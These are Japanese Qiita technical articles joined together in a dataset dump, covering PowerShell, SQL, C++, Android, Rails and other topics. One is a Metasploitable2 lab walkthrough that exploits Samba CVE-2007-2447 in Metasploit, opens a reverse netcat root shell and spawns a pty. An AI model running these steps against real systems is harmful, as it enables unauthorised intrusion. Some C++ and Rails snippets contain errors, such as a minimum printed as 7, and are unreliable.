OmniAICreator/Qiita-1.07M huggingface dataset:
PowerShellでQiita閲覧数を確認する（他の方の記事の補足）

Qiitaの記事をいくつか書いていて、各記事のアクセス数が気になりました。
（VBAでもさらにマイナーなWordVBAのことを書いていたりするので、「いいね」等の反応はあまりなく、モチベーション維持のためにも確認したくなりました…。）

そこで閲覧数の確認方法を探しているとこちらの[木村たろう](https://qiita.com/ogi_kimura)さんの記事[PowerShellを駆使してQiita閲覧数を効率化！作業時間30万円分を節約する自動ツール](https://qiita.com/ogi_kimura/items/904a056fb6c1ca2aed78)を発見しました。

しかし、当方がPowerShellにそもそも詳しくない＆専業プログラマーでもないため、記事に書かれている情報だけでは、最初はうまくいきませんでした。

そのため、木村たろうさんの記事の補足情報を記載したいと思います。

## PowerShell ISEにコードで作成・保存・編集する
URL部分は木村たろうさんの記事から、自分の記事のURLに変更しています。

```powershell:powershell
$headers = @{"Authorization" = "Bearer ****************************************"}

# 取得するURLのリスト
$urls = @(
    'https://qiita.com/api/v2/items/dc00643e2b86a907041f',
    'https://qiita.com/api/v2/items/a8cf97a0ff747a2f6f03',
    'https://qiita.com/api/v2/items/af3b29651295b450058a',
    'https://qiita.com/api/v2/items/a2ecd772d5a8be8707a3',
    'https://qiita.com/api/v2/items/2f67152cecd634c711cf',
    'https://qiita.com/api/v2/items/40996ccabda345b046a9',
    'https://qiita.com/api/v2/items/19b08c70e5d10946289b',
    'https://qiita.com/api/v2/items/52aec53b69ede2edd4f9',
    'https://qiita.com/api/v2/items/18407710f2176c7a8aa1'
)


# ループでURLを処理
foreach ($url in $urls) {
    try {
        # Invoke-WebRequestでデータ取得
        $response = Invoke-WebRequest -Uri $url -Headers $headers

        # 取得したコンテンツをUTF-8で変換してJSON化
        $data = $response.Content | Out-String | ConvertFrom-Json | Select-Object page_views_count, created_at, title

        # created_atの日付フォーマットを変更
        $data | ForEach-Object {
            $_.created_at = [DateTime]::Parse($_.created_at).ToString("yyyy/M/d")
            $_
        } | Select-Object page_views_count, created_at, title

        # CSVファイルにデータを書き出す（1つ目はBOM付き、2つ目以降はAppendで追加）
        if ($urls[0] -eq $url) {
            # 最初のファイルはUTF-8 BOM付きで作成
            $data | Export-Csv -Path log.csv -NoTypeInformation -Encoding UTF8
        } else {
            # 2つ目以降はUTF-8で追加
            $data | Export-Csv -Path log.csv -NoTypeInformation -Append -Encoding UTF8
        }
    } catch {
        Write-Host "エラーが発生しました: $_"
    }
}

```

## アクセストークンの発行・記載

```powershell:Powershell
$headers = @{"Authorization" = "Bearer ****************************************"}
```

****************************************の部分はダミーなので、自分のアクセストークンを記載します。
Qiitaのアクセストークンの取得は「設定」＞アプリケーション > 個人用アクセストークン > 新しくトークンを発行するで発行できます。

## 各記事のURLの変換

「https://qiita.com/api/v2/items/dc00643e2b86a907041f 」
等の部分は単なる記事のURLではなく、変換が必要です。
通常の記事のURLが
https://qiita.com/nanaco0424/items/dc00643e2b86a907041f
だとしたら、ユーザー名の**nanaco0424**の部分を**api/v2**に変更します。

## PowerShellの実行方法
Windows PowerShellにコード直貼りして実行できます。
ただし、実行したログはカレントディレクトリ（実行時に表示される「C:\Users>」とか）に「log.csv」が出力されます。
※実行ポリシーの関係で実行できない場合には、実行ポリシーを変更しましょう。

「log.csv」の先を変更したい場合は事前にWindows PowerShellに「cd C:\Scripts」等としてカレントディレクトリを変更しておきます。

また、コードの直貼りが面倒であれば、PowerShell ISEで「QiitaAccess.ps1」等のPowerShellコマンドファイルを作成して、それをWindows PowerShellから実行するようにするとよいかと思います。
MySQL_BETWEEN演算子で特定の範囲のデータを取得する

BETWEEN 演算子は、MySQLなどのSQLデータベースで、特定の範囲内にある値を検索するために使用されます。この演算子は、数値、日付、文字列などのデータ型に対して使用できます。

## 数値に対して BETWEEN を使う例
例えば、価格（price）が100から300の範囲にある商品を取得する場合:
```sql:
SELECT *
FROM products
WHERE price BETWEEN 100 AND 300;
```
このクエリは、価格が100以上300以下の全ての商品を返します。

## 日付に対して BETWEEN を使う例

日付範囲に対しても BETWEEN を使うことができます。例えば、2024年1月1日から2024年1月31日までに注文されたすべての注文を取得するには:
```sql
SELECT *
FROM orders
WHERE order_date BETWEEN '2024-01-01' AND '2024-01-31';
```
このクエリは、2024年1月1日から2024年1月31日までに行われた全ての注文を返します。

## 文字列に対して BETWEEN を使う例
BETWEEN は文字列に対しても使用可能です。文字列の範囲検索は、辞書順で行われます。例えば、アルファベット順で「A」から「M」で始まる顧客名を取得するには:
```sql:
SELECT *
FROM customers
WHERE customer_name BETWEEN 'A' AND 'M';
```
このクエリは、顧客名が「A」から「M」までの範囲にある顧客を返します。

## NOT BETWEEN を使った範囲外の検索
BETWEEN 演算子の反対である NOT BETWEEN 演算子を使うと、指定された範囲外にある値を検索することができます。例えば、価格が100から300の範囲外にある商品を取得するには:
```sql:
SELECT *
FROM products
WHERE price NOT BETWEEN 100 AND 300;
```
このクエリは、価格が100未満または300を超える商品を返します。

## 注意点
BETWEEN は 閉区間 であるため、value1 と value2 も範囲に含まれます。
BETWEEN を使用する際は、value1 が小さい値、value2 が大きい値である必要があります。順序が逆だと結果が返されない可能性があります。
【LeetCode in TypeScript】20. Valid Parentheses

## 問題
Given a string s containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid.

An input string is valid if:

1. Open brackets must be closed by the same type of brackets.
2. Open brackets must be closed in the correct order.
3. Every close bracket has a corresponding open bracket of the same type.

<br>
文字列 `s` が与えられる。この文字列には、'(', ')', '{', '}', '[', ']' だけが含まれている。入力された文字列が有効かどうかを判定せよ。

入力文字列が有効であるためには以下の条件を満たす必要がある。

- 開き括弧は同じ種類の括弧で閉じられなければならない。
- 開き括弧は正しい順序で閉じられなければならない。
- すべての閉じ括弧には対応する同じ種類の開き括弧が存在する。

## I/O
#### Example 1:
- Input: `s = "()"`  
- Output: `true`

#### Example 2:
- Input: `s = "()[]{}"`  
- Output: `true`

#### Example 3:
- Input: `s = "(]"`  
- Output: `false`

#### Example 4:
- Input: `s = "([])"`  
- Output: `true`

## 解答
```typescript
const brackets: { [key: string]: string } = {
  ']': '[',
  '}': '{',
  ')': '(' 
};

function isValid(s: string): boolean {
  const stack: string[] = [];
  const chars = s.split('');

  for (const char of chars) {
    if (isClosing(char)) {
      const opening = stack.pop();

      if (brackets[char] !== opening) {
        return false;
      }
    } else {
      stack.push(char);
    }
  }

  return stack.length === 0;
}

function isClosing(s: string): boolean {
  return brackets.hasOwnProperty(s);
}
```

## 解説

この問題では、開かれた括弧が対応する閉じ括弧で正しい順序で閉じられているかを確認する必要があります。

### スタックを使用するアプローチ
- 文字列を左から右に進めながら各文字を処理します。
- 開き括弧はスタックに追加し、閉じ括弧が現れた場合、スタックから括弧を取り出して一致するかを確認します。
- スタックが空でなければならないことが、最終的にすべての括弧が正しく閉じられている条件となります。
- このアプローチの**時間計算量**は `O(n)` です。
***

https://leetcode.com/problems/linked-list-cycle/
Oracle Java Bronzeオンライン試験を受けました(2024/10/5)

見出しの通り、JavaのBronzeをオンラインで受けました。
いやー、疲れました。

というのも、事前情報(でも2024年6月とかもあった)で、
- メモ用紙をテーブルにおけない
- カメラテスト等事前準備が大変
- 上半身を常にカメラ内に収めないといけない
- オンラインといえど受けられる日時が決まっている

などなどを見ていたので、
焦って受けられるか確認しておかなければ、
とぽちったところ、
始まってしまって後戻りができず急いで受けたためです。

## 受験理由
会社の業績評価目標に、Bronze取得を記載したため。
技術スキルあげたいといいつつ、
まぁJavaかけるかなぁ読めるかなぁ
という程度だったので、
まずはOracle認定受けようかなと思いました。

## 経歴
新卒入社16年目
えっ、もうベテランレベルなのにBronze
ごもっともで何も言えないです。。。
開発をほとんどやらないSIerでゆるゆる育ってしまいました。

## 資格取得
- 基本情報技術者
- Oracle Master 12c Gold
- AWS Certified Cloud Practitioner

たまたまDBだけ業務で取り扱うことが多く、
DBスキルは少しだけ自信あり。

## 結果
60%の合格ラインで、78%でした。

## 勉強方法
紫本を使いました。
SIerですが長文読解がニガテです。
Oracle Masterの勉強時も黒本を読むのが苦痛だったので、
黒本ではない本がいいなぁと思い選択。

## 勉強期間
1ヶ月は紫本の会社のアプリを使って、隙間時間にちょこちょこ。
9月の終わりに、このままだとやばいと、
10月1週目に躍起になって勉強。

なんだかんだ、20時間くらいはやったと思います。

## 受けてみての感想
コンストラクタ、継承、ポリモーフィズムの知識はほぼ皆無だったので、基礎知識として習得できてよかった。
業務ではなんとなくコードを読んでましたが、
可読力が上がりそうです。

あと、意外にもfor文の処理順序がわかっておらず、きちんと理解できてよかったです。

Silverも取得しようか検討します。
再受験無料キャンペーンの時にしよう。。。
label 要素の for 属性が正しく設定されているか調査する

「システム内の jsp にある label 要素の for 属性が正しく設定されているか調査したい」と知り合いに相談されて、ぱっと解決策が浮かばなかった。

別な行だったり離れていたりする場合があり、単純な文字列検索では難しい。ページ単位でアクセシビリティ系のツールで調査できそうだが、システム内に数多くある Web ページを一括で調査するのは大変そう。あと地味に jsp という単純に html としてパースし辛い対象であることも課題。

結局、NodeJS で簡単なツールを書いて渡したので、メモとして残しておきます。

# label 要素の for 属性

今回相談されたのは、例えば以下のように間違った html が読み込まれた場合、

```html
<html>
    <body>
        <label for="name1">test label</label>
        <input id="id1" name="name1" />
    </body>
</html>
```

Chrome ブラウザだと以下のようにエラー表示がされてしまうという状況。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/193519/af1c438e-4a16-edb1-8eb9-03e058d61bfa.png)

label 要素の for には対象の name でなく、id を渡す必要がある。これ昔はエラーにならなかった、もしかしたら name でも動作してくれたような気さえするのだけれど、今は明確な HTML標準違反になる。

# まずは調査対象の一覧を生成してみる

npm とか説明するのは面倒なので、NodeJS 基本ライブラリのみで動作する簡単なツールを作成してみる。まずは File I/O を使って、指定したフォルダ内にあるすべての jsp ファイルのファイル名を表示させてみよう。

```javascript
const fs = require('fs')

const target = process.argv[2] || '.'
const fmatch = /\.jsp$/

// Search for file names that match the conditions and execute the process
function _process(_fname, _func) {
    const dir = fs.opendirSync(_fname)
    let dirent
    while (dirent = dir.readSync()) {
        const fname = _fname + '/' + dirent.name
        if (dirent.isDirectory()) {
            _process(fname, _func)
        } else {
            if (fmatch.test(fname)) {
                _func(fname)
            }
        }
    }
}

// Main Logic
_process(target, _fname => {
    console.log(_fname)
})
```

再帰を使って、フォルダ内のファイルを順にみていくだけの、わりと平凡な処理ですね。

# for 属性の確認ロジックを書いてみる

Main Loop 部分を書き換えます。

同じファイル内にある label の for 属性値の一覧を作成し、ファイル内にその id を指定した入力要素があるか探し、なければ表示します。対象の入力要素、これで足りているかしらん？

```javascript
// Main Logic
let count = 0
_process(target, _fname => {
    const html = String(fs.readFileSync(_fname))
    // Generate a list of the for attributes of label elements
    const targets = html.match(/<label\s[^>]*for\s*=\s*"[^"]+"/g)
    const ids = []
    if (targets) {
        targets.forEach(target => {
            const id = target.match(/<label\s[^>]*for\s*=\s*"([^"]+)"/)
            ids.push(id[1])
        })
    }
    // Check if the specified ID exists
    let flag = true
    ids.forEach(id => {
        const reg = '<(?:input|textarea|select|button)\\s[^>]*id\\s*=\\s*"' + id + '"'
        if (!html.match(reg)) {
            console.log(_fname + ',' + id)
            if (flag) {
                count++
                flag = false
            }
        }
    })
})
console.log('Number of files,' + count)
```

実行結果は以下の感じ。出力を *.csv ファイルにリダイレクトして保存し、EXCEL などで管理する想定です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/193519/18c91ef2-d71a-4532-bb61-a6c262cf0e46.png)

# というわけで

さっと作成した簡易ツールなので、それほど便利ではないかもしれませんね。

こちらのコードは利用自由の Creative Commons 0 (CC0) ライセンスとしますので、いろいろ拡張して、自由に使ってみてください。

ではでは。
[tips][cpp] bit shift

# bitシフト

## right shift
例 右に1ビットシフト

```cpp
int n_right = n >> 1;
cout << std::bitset<8>(n_right) << endl;
```

```cpp
00000100
```

1回シフト
```cpp
int n_right1 = n >> 1;
std::bitset<8>(n_right1)
// 00000100
```

2回シフト
```cpp
int n_right2 = n >> 2;
std::bitset<8>(n_right2)
00000010
```


```cpp
int n_right3 = n >> 2;
std::bitset<8>(n_right3)
00000010
```

## left shift

例 左に1ビットシフト

```cpp
int n_left = n << 1;
cout << std::bitset<8>(n_left) << endl;
```

```cpp
00010000
```

例 左に3ビットシフト

```cpp
int n_left3 = n << 3;
cout << std::bitset<8>(n_left3) << endl;
```

```cpp
01000000
```


## 右から`m`番目のフラグが立っているか

```cpp
1000
```
```cpp
int n = 8;
int m = 3;
cout << "Is 3th bit flag 1? It is " << (n >> m & 1) << endl;
```

```cpp
Is 3th bit flag 1? It is 1
```
【OutSystems】複数エンティティの情報を取得する



#### 概要
この記事では、複数エンティティの情報を取得する方法を紹介します。
ついこの前まで、エンティティとレコードの関係がいまいち分からず苦戦したので、使い方を整理しました。

#### エンティティとは
OutSystemsでデータを格納できるテーブルのこと。

通常のシステム開発では、データを保管する場合、データベースとその中のテーブル作成が必要になる。
OutSystemsでは、エンティティという格納場所を作成することでデータの保存が可能になる。
「Service Studioから操作できるDBのテーブル」と考えれば分かりやすい。

下記画像は、エンティティを作成しデータを登録したもの。
![77764c6c91a88425483765d3ada03281.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/580579f9-295e-0a8d-b71f-835aadad0ad8.png)


#### 単一エンティティのデータを取得する
単一のエンティティであれば、素直にアグリゲートを使用してデータを取得できる。
![7c0bb1a9ed96d436e900b4c15ce1eb66.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/0925cfad-6fcb-b015-b576-86a1844ee52b.png)

アグリゲート以降のフローで、Bookエンティティの取得結果（GetBooks.List）を操作できる。


#### アグリゲートを使用し、Recordの形でデータを取得する
複数エンティティのデータを取得する際の標準的な取得の方法。
アグリゲートの中で複数エンティティをデータソースとすることで、複数エンティティの情報を取得できる。
![d64ef54bbd620181804dfd8136aae145.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/bd1efc48-edc6-0066-4347-f1bf6430cd85.png)
なお、取得したデータ型は「Book, BookDetail Record List」となる。

レコードのリスト...となるとややイメージしにくいので、少し解説。
「Book, BookDetail Record List」は「Book, BookDetail Record」のリスト
「Book, BookDetail Record」は、「Book型とBookDetail型を持つレコード」の意味

図にすると以下のイメージ
![4ff3614596ccb84a5ca9fa7f36240f85.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/5c37c8d8-cec6-a12d-bc7d-f302b9fe50de.png)



#### SQLを使用し、Recordの形でデータを取得する
複数エンティティのデータをSQLで取得する方法。
エンティティをテーブルとみなし、エンティティ名に{}を付けて記載する。
{エンティティ}.*と記載することで、エンティティの項目をすべて指定できる。

![sql.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/d54beac5-f502-bfbf-b278-41367277d4a1.png)
この場合も、取得したデータ型は「Book, BookDetail Record List」となる。


#### SQLを使用し、ストラクチャの形でデータを取得する
同じく、複数エンティティのデータをSQLで取得する方法。
ただし、取得データを任意のストラクチャとする。

SQLの「Output Entities/Structure」に取得したいデータのストラクチャを指定する。
また、SELECTの項目とストラクチャの項目をしっかり合わせる必要がある。
![b504a49c689f94a81d59394ac464184d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/3b1e0a99-4a7e-7732-acea-11f1c787e739.png)
取得データ型は、「BookAndBookDetail List」となる。
ユーザ向けの画面項目や、外部インターフェース向けの、**必要な項目が決っている**場合に便利。

ただ、「ストラクチャに項目を追加した場合、SQLの修正（SELECT項目の追加）が必要になる」という保守的な欠点があります。



##### 参考：
[データベースからデータを取り出して表示する](https://success.outsystems.com/ja-jp/documentation/10/developing_an_application/use_data/query_data/fetch_and_display_data_from_the_database/)
[SQLクエリ](https://success.outsystems.com/ja-jp/documentation/10/developing_an_application/use_data/query_data/sql_queries/)
Metasploitable2 exploit SMB

Metasploitable2のSMBをエクスプロイトする備忘録です。
SMBには、RCEの脆弱性(CVE-2007-2447)があます。
# Metasploitでエクスプロイトする
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
Metasploitを起動します。
```
msfconsole
```
exploitを検索します。
```
msf6 > search CVE-2007-2447

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution
```
0番を使用します。
```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```
payloadは、要らないようなので、オプションを確認します。
```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.3.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```
RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
LHOSTにeth0のIPアドレスがセットされているので、変更します。
```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.10
LHOST => 192.168.56.10
```
exploitします。
```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:44522) at 2024-10-05 14:04:05 +0900

whoami
root
hostname
metasploitable
```
シェルが無いので、対話的シェルの出し方。
```
python -c 'import pty;pty.spawn("/bin/bash")'
root@metasploitable:/#
```
プロンプトが表示されます。
【初心者向け】読みやすいコードを書くために


## はじめに

コードの可読性は、開発の生産性に直結する重要な要素です。なぜなら、コードは書く時間よりも読む時間の方が圧倒的に長いからです。
コードを読んで理解する時間が短縮されれば、それだけ作業も効率的に進みます。この記事では、可読性を向上させるための具体的なポイントを紹介します。

## シンプルで意図が明確なコードを書く

コードはできるだけ単純で、意図が明確であるべきです。読み手が「何をしたいのか」を瞬時に理解できるコードを書くことが重要です。また、コードは可能な限り独立性が高く、再利用しやすい構造にするのが理想です。

## 命名規則の徹底

命名は可読性の要です。変数や関数名は、以下のポイントに留意しましょう。

	•	正確で説明的: 名前はその変数や関数が示す意味と一致している必要があります。たとえば、isVisibleは「視覚的に見える」ことを示し、聴覚的な意味は持ちません。また、短縮形よりも説明的な名前を使うことで、名前を見ただけで意味がわかるようにします（例: w → width、h → height）。
	•	文法に則った命名: クラスや変数は名詞で、関数は動詞と名詞を組み合わせた命令文のように命名します。これにより、名前からその役割が自然に理解できます。
	•	重要な単語は最後に: 関数名や変数名では、重要な意味を持つ単語を最後に置くとより読みやすくなります。
	•	前置詞の適切な活用: 特にローカル変数には、前置詞を使って意味を明確にしましょう。ただし、スコープが広い変数では過剰な前置詞は避けます。

## コメントの適切な活用

コメントは、必要最小限に留め、具体的な説明はドキュメントやイシューへのリンクで補完します。冗長なコメントはかえって読みづらくするので、コメントの内容は簡潔にするのが望ましいです。

## 不変な状態の活用

状態は可能な限り不変（immutable）に保つことで、予期しないバグや副作用を防ぎます。不変な状態は、読み取り専用であることを意味しませんが、コードの安全性や可読性を高める一助になります。

## 関数設計のポイント

関数も「単一責任の原則」に従うべきです。つまり、1つの関数が1つのことだけを行うように設計します。責任が多重になると、関数が複雑になり、再利用や保守が困難になります。判断基準として、関数の動作を要約するドキュメントを書いてみて、説明が2つ以上に分かれる場合は、責任が多すぎる可能性があります。

	•	コマンド・クエリ分離の原則: コマンド（操作）とクエリ（取得）を分けることで、コードの意図が明確になります。
	•	良い関数の特徴:細かい挙動を理解しなくても、全体の流れが理解できる。重要な部分が一目でわかる。条件分岐が多くても、理解に苦しむことがない。

ネスト構造は複雑になりがちですが、必ずしもすべて解消する必要はありません。場合によっては、メソッドチェインやネストの分解が効果的です。

これらのポイントを意識することで、より読みやすく、メンテナンスしやすいコードを書くことができます。ぜひ日常のコーディングに取り入れてみてください。

## 参考文献
[読みやすいコードのガイドライン](https://gihyo.jp/book/2022/978-4-297-13036-7)
物理削除と論理削除の違い

## はじめに
DBについて学習する過程で、物理削除と論理削除とは何なのか、活用法までイメージがつく程度に調べました。

## 結論
物理削除：実際にデータを消す
論理削除：データを消したことにする

基本的には論理削除を行うが、削除してから時間が経ったものは物理削除する。


## 物理削除とは
文字通りデータを消すこと。鉛筆で書いた時を消しゴムで消すようなイメージ、一度消すと元に戻せない。
#### メリット
・完全に削除するのでPC自体の容量を空けることができる。
・不要なデータを残さなくて済む

#### デメリット
・**復元ができない**

## 論理削除とは
データを「消したこと」にする。キーボードで文字を打つ際、文字を消しても取り消せる機能のイメージ。

#### メリット
・復元できる

#### デメリット
・実際に消しているわけではないので容量を開けることができるわけではない

#### 論理削除の仕組み
削除フラグをつけることで論理削除を可能にしている。
例えば以下のようなデータベースがあったとする。
| ID | Name | Delete |
|:-:|:-:|:-:|
|  1 | タロウ  |◻️|
|  2 | ハナコ  |◻️|
|  3 |  モモコ |◻️|
|  4 |  マサキ |◻️|
|  5 |  ケイタ |◻️|

これらはどれも論理削除されていないので、5人の名前がそのまま名簿として表示される。
| ID | Name |
|:-:|:-:|
|  1 | タロウ  |
|  2 | ハナコ  |
|  3 |  モモコ |
|  4 |  マサキ |
|  5 |  ケイタ |

ここで論理削除を行うためにタロウのレコードのDeleteカラムのチェクボックスを埋めると。

| ID | Name | Delete |
|:-:|:-:|:-:|
|  ~~1~~ | ~~タロウ~~  |☑️|
|  2 | ハナコ  |◻️|
|  3 |  モモコ |◻️|
|  4 |  マサキ |◻️|
|  5 |  ケイタ |◻️|

タロウのレコードが論理削除されたため、表示される名簿は以下の通りになる。

| ID | Name |
|:-:|:-:|
|  2 | ハナコ  |
|  3 |  モモコ |
|  4 |  マサキ |
|  5 |  ケイタ |


## 使い分け
この二つは以下の使い分けを行うのがよさそう。
・基本は論理削除を使い削除しつつ、復元できないリスクを回避する。
・論理削除したものの中から、古くなったりして完全に必要ないと確定したデータのみ物理削除。



###### 参考にしたサイト
https://wa3.i-3-i.info/diff598delete.html
【Laravel】「ZipArchive not found」エラー解消法！

泉（[@izumin_0401](https://twitter.com/izumin_0401)）です。

今回は、Laravelの「ZipArchive not found」エラー解消法を解説しやす！

:::note info
僕はDocker使っているので、Docker環境を前提としています。
:::

# ブログ記事はこちら

https://traveler0401.com/laravel-zip-archive-not-found/

# 「ZipArchive not found」エラー解消法
## zipモジュールのインストール
```
RUN apk add --no-cache libzip-dev && \
  docker-php-ext-install zip
```
Dockerファイルに追記して、Dockerを再ビルドします。

# zipモジュールの確認
```shell
$ php -m
```
Dockerコンテナに入り、上記コマンドを実行してzipが表示されればOKです。

# まとめ
実はめっちゃハマって2時間くらい苦戦してたのは内緒。

# 最後に
暇つぶしに[Twitter](https://twitter.com/izumin_0401)と[ブログ](https://traveler0401.com/)もやってるので見てね。
[tips][cpp] vector配列の最大値、最小値や和を求める

※tips cpp集は、検索したことをcacheみたいに使用するためのmy備忘録です。

ワンライナーで最大値とか最小値とか和を求めたい時のtips

# Vectorのソートや最大値、最小値を求める

cppの`#include <algorithm>`を使用します。
vectorには標準関数として提供されていないので、こちらのライブラリを使用します。

`*min_element()``*max_element()`を使用するか、`sort()`を使用して最初と最後の要素を取得するかです。

## 最小値

```cpp
#include <iostream>
#include <algorithm>
int main(){
  std::vector<int> v{3, 4, 5, 7, 2, 1};
  int min = *min_element(v.begin(), v.end());
  std::cout << min << endl;
}
```

```
7
```

## 最大値

```cpp
#include <iostream>
#include <algorithm>
int main(){
  std::vector<int> v{3, 4, 5, 7, 2, 1};
  int max = *max_element(v.begin(), v.end());
  std::cout << max << endl;
}
```

```
7
```

# Vectorの和を求める

`c++17`以降でサポートされてるらしい。
cppの`#include <numeric>`を使用します。

## 合計値を`long long`型として求める

```cpp
#include <numeric>
#include <iostream>

int main(){
  std::vector<int> v = {1, 2, 3, 4, 5};
  int sum = std::reduce(v.begin(), v.end());
  std::cout << "sum : " << sum << std::endl;
}
```

output
```cpp
15
```

## 合計値を`long long`型として求める

```cpp
#include <numeric>
#include <iostream>

int main(){
  auto sum_ll = std::reduce(v.begin(), v.end(), 0LL);
  std::cout << "sum_ll : " << sum_ll << std::endl;
}
```

output
```cpp
15
```
Splash画像のみ変えたい時(Android)

通常の設定だとSplash画像にはアプリアイコンの画像がそのまま表示されます。
Splash画像のみ変更したい場合、どのようにするのかを共有します。

## 1. Splash用の画像ファイルを用意する

まず、Splash画面に表示したい画像を drawable フォルダに追加します。例えば、**ic_splash.png** という名前の画像ファイルを使うとします。
そして更に drwaableフォルダにxmlファイルを追加。例えば **background_splash** という名前にします。
```kotlin:xml
<?xml version="1.0" encoding="utf-8"?>
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">

    <item android:drawable="@color/white" />

    <item>
        <bitmap
            android:gravity="center"
            android:src="@drawable/ic_splash" />
    </item>
</layer-list>
```
## 2.Splash用のテーマを作成する
次に、**res/values/styles.xml** にスプラッシュ画面専用のテーマを作成します。このテーマでは、**android:windowBackground** 属性に用意した画像を指定します。
APIレベル12以上では **android:windowSplashScreenAnimatedIcon** を設定しましょう
```kotlin:
<style name="SplashTheme" parent="Theme.Material3.DayNight.NoActionBar">
    <item name="android:windowBackground">@drawable/background_splash</item>
    <!-- Android 12 (API level 31) 以上のバージョン向けに追加 -->
     <item name="android:windowSplashScreenAnimatedIcon" tools:targetApi="S">@drawable/background_splash</item>
</style>
```

## 3. AndroidManifest.xml にテーマを設定
次に、AndroidManifest.xml にスプラッシュ画面を表示するアクティビティに、先ほど作成したテーマを設定します。

```kotlin:xml
<activity
    android:name=".view.RouteActivity"
    android:exported="true"
    android:theme="@style/SplashTheme">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
```

以上で任意のSplash画像を表示すること出来ます😄
ただし、png画像で準備するとサイズ次第でスプラッシュ画像は強制的に円形に切り取られてしまいます。
僕がやった範囲だと、円形に収めるサイズにpngファイルを縮小した場合、画像がぼやけてしまう事象が発生しました。😭

>スプラッシュ画面のサイズ
スプラッシュ画面のアイコンの仕様は、 アダプティブ アイコン 次のとおりです。
ブランド画像: 200×80 dp にする必要があります。
背景がアイコンのアプリアイコン: 240 × 240 dp とし、 直径 160 dp の円。
アイコンの背景のないアプリアイコン: 288×288 dp で、そのサイズに収まる必要があります 直径 192 dp の円。
たとえば、画像の合計サイズが 300 x 300 dp の場合、アイコンを直径 200 dp の円内に収める必要があります。円の外側はすべて曲がる 非表示（マスクされます）。

なのでできればsvgファイルからvector画像を生成し、その画像を使用するのが一番適正かと思います。

ベクター画像を使用する場合は、 **background_splash** を以下のように修正しましょう

```kotlin:xml
<?xml version="1.0" encoding="utf-8"?>
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">

    <item android:drawable="@color/white" />

    <item
        android:drawable="@drawable/ic_splash"
        android:gravity="center" />

</layer-list>
```

https://developer.android.com/develop/ui/views/launch/splash-screen?hl=ja
sklearnで決定木追加毎の平均二乗誤差の推移を可視化する

# はじめに
sklearnのRandomForestRegressorには、決定木の追加毎にどれだけ性能が向上したか表示するための機能がないようです。
パラメータ変更による学習結果の確認や、学習の経過をたどりたい場合に困ります。
今回はモデルの学習時に決定木を一本ずつ足していき、モデルによるテストデータの予測値と正解データの平均二乗誤差を都度取得することで、決定木の追加毎のモデルの精度向上を追う方法を紹介します。
# コード
X_train、y_trainは学習データ、X_test、y_testはテストデータのpandas DataFrameとします。
```Python
rf = RandomForestRegressor(
    n_estimators = 1, # 最初の木は１本
    warm_start = True, # 前回までの学習内容を記憶する
    random_state = 0, 
    n_jobs = -1 # 全てのコアを使用
)
max_trees = 100 # 最終的な決定木の本数
trees = []
mses = []
for i in range(1,max_trees+1):
  rf.n_estimators = i # イテレーション毎に決定木の総本数を更新
  rf.fit(X_train,y_train) # 学習
  y_pred = rf.predict(X_test) # 予測値の取得
  mse = mean_squared_error(y_test,y_pred) #平均二乗誤差の取得
  trees.append(i)
  mses.append(mse)

# プロット
plt.figure(figsize=(10, 6))
plt.plot(trees, mses, marker='o', linestyle='-')
plt.title('MSE in Random Forest')
plt.xlabel('Number of Trees')
plt.ylabel('MSE')
plt.grid(True)
plt.show()
```

イテレーション毎にn_estimators（モデルに含まれる決定木の本数）をiに更新し、決定木を1本増やしています。
この時、warm_startパラメータをTrueとすることで、それまでの学習内容を保持しています。これによって、学習済みの決定木が再利用され、イテレーション毎に決定木1本分だけ学習をすれば良いことになります。
また決定木の内容を引き継ぐので、平均二乗誤差の変化を正しく追うことができるようになります。
# 免責事項
より効率の良い方法がある可能性は高いです。
こんなことしなくても取得できる方法あったりしたらぜひご教授ください。
【Rails】rake taskの使い方

## rake taskとは？
実行したい処理を記述しておき、`rake task`コマンドを利用して実行できます。
複雑な処理をタスク化しておくことで、簡潔なコマンドで実行できるため便利です。

## rake taskの作成方法

以下のコマンドを実行して、taskファイルを生成します。
```terminal
$ rails g task
```


```ruby

namespace :test_task do
  desc 'テストタスク' # 実行したいタスクの説明
  task :nothing do
  end
end

```

DBにデータを登録するなどの場合は、`:environment`と記述します。


```ruby
namespace :insert_user do
    desc 'ユーザー登録タスク'
    task aaa :environment do
        User.create(name: '花子', age: 18)
    end
```



## 参考文献

